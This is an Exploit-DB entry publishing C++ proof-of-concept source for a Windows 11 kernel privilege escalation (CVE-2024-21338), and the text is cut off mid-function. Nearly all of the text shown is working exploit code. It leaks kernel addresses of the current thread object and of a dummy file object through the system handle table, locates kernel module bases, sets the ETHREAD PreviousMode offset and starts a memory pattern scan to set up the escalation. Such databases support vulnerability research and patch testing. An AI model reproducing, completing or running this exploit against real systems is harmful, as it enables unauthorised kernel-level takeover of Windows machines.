Exploit-DB #52275
Description: Microsoft Windows 11 - Kernel Privilege Escalation
Type: local
Platform: windows
Date: 2025-04-22
Author: Milad karimi

Exploit:
# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2024-21338



#include "pch.hpp"
#include "poc.hpp"

// This function is used to set the IOCTL buffer depending on the Windows
version
void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW*
os_info)
{
 os_info->dwOSVersionInfoSize = sizeof(*os_info);
 // Get the OS version
 NTSTATUS status = RtlGetVersion(os_info);
 if (!NT_SUCCESS(status)) {
  log_err("Failed to get OS version!");
  return nullptr;
 }

 log_debug("Windows version detected: %lu.%lu, build: %lu.",
os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);

 // "PreviousMode" offset in ETHREAD structure
 *k_thread_offset = 0x232;
 // Set the "AipSmartHashImageFile" function buffer depending on the
Windows version
 void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000
  ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))
  : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));

 return ioctl_buffer_alloc;
}

// This function is used to get the ETHREAD address through the
SystemHandleInformation method that is used to get the address of the
current thread object based on the pseudo handle -2
UINT_PTR c_poc::get_ethread_address()
{
 // Duplicate the pseudo handle -2 to get the current thread object
 HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2);
 HANDLE h_duplicated_handle = {};

 if (!DuplicateHandle(
  reinterpret_cast<HANDLE>(-1),
  h_current_thread_pseudo,
  reinterpret_cast<HANDLE>(-1),
  &h_duplicated_handle,
  NULL,
  FALSE,
  DUPLICATE_SAME_ACCESS))
 {
  log_err("Failed to duplicate handle, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_HANDLE_INFORMATION h_table_info = {};
 // Get the current thread object address
 while ((status = NtQuerySystemInformation(SystemHandleInformation,
h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)
 {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));
 }

 UINT_PTR ptr_token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_duplicated_handle)) {
    ptr_token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }
 else {
  if (h_table_info) {
   log_err("NtQuerySystemInformation failed, (code: 0x%X)", status);
   NtClose(h_duplicated_handle);
  }
 }

 return ptr_token_address;
}

// This function is used to get the FileObject address through the
SystemHandleInformation method that is used to get the address of the file
object.
UINT_PTR c_poc::get_file_object_address()
{
 // Create a dummy file to get the file object address
 HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt",
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
 if (h_file == INVALID_HANDLE_VALUE) {
  log_err("Failed to open dummy file, error: %lu", GetLastError());
  return EXIT_FAILURE;
 }

 // Get the file object address
 NTSTATUS status = {};
 ULONG ul_bytes = 0;
 PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;
 while ((status = NtQuerySystemInformation(
  SystemHandleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);

 }

 UINT_PTR token_address = 0;
 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
    h_table_info->Handles[i].HandleValue ==
    reinterpret_cast<USHORT>(h_file)) {
    token_address =
     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
    break;
   }
  }
 }

 return token_address;
}

// This function is used to get the kernel module address based on the
module name
UINT_PTR c_poc::get_kernel_module_address(const char* target_module)
{
 // Get the kernel module address based on the module name
 NTSTATUS status = {};
 ULONG ul_bytes = {};
 PSYSTEM_MODULE_INFORMATION h_table_info = {};
 while ((status = NtQuerySystemInformation(
  SystemModuleInformation, h_table_info, ul_bytes,
  &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
  if (h_table_info != NULL)
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
  else
   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
 }

 if (NT_SUCCESS(status)) {
  for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {
   if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {
    return reinterpret_cast<UINT_PTR>(
     h_table_info->Modules[i].ImageBaseAddress);
   }
  }
 }

 return 0;
}

// This function is used to scan the section for the pattern.
BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID
lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size,
LPVOID* lp_found_address) {
 std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]);
 SIZE_T byte